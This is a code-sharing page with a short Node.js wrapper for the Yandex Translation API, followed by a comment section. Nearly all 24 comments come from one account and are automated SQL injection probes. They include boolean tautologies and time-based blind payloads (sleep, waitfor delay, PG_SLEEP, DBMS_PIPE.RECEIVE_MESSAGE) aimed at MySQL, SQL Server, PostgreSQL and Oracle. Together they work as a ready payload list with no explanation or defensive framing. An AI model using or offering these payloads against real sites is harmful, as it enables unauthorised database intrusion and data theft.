Yandex Translation API

node v0.12.18
version: 1.1.0
endpointsharetweet
var request = require("request-promise"); var apiKey = process.env.YANDEX_API_KEY; async function yandex(method, opts) { var url = "https://translate.yandex.net/api/v1.5/tr.json/" + method + "?"; url += Object.keys(opts).map(function(key){ return key+"="+encodeURIComponent(opts[key]) }).concat("key="+apiKey).join("&") return request.get(url); } module.exports.languages = async function languages() { return JSON.parse(await yandex("getLangs", { ui: "en" })).langs; } module.exports.translate = async function translate(from, to, text) { var response = await yandex("translate", {text: text, lang: from+"-"+to}) return JSON.parse(response).text[0] }
//to use, make sure you set: process.env.YANDEX_API_KEY
Translation, powered by Yandex. For more information, see http://translate.yandex.com/ You can get your own key at: https://tech.yandex.com/keys/get/?service=trnsl
Loading…

24 comments

  • posted a day ago by xsjybldb
    1
  • posted a day ago by xsjybldb
    -1 OR 2+413-413-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    -1 OR 2+254-254-1=0+0+0+1
  • posted a day ago by xsjybldb
    -1' OR 2+365-365-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    -1' OR 2+69-69-1=0+0+0+1 or '57v38cRd'='
  • posted a day ago by xsjybldb
    -1" OR 2+164-164-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted a day ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a day ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a day ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a day ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    PURUQfTe'; waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    -5 OR 883=(SELECT 883 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    -5) OR 327=(SELECT 327 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    -1)) OR 134=(SELECT 134 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    p716vgYL' OR 162=(SELECT 162 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    zR0rznyZ') OR 949=(SELECT 949 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    Md8Rz71c')) OR 972=(SELECT 972 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a day ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a day ago by xsjybldb
    1'"
  • posted a day ago by xsjybldb
    @@KQXaq

sign in to comment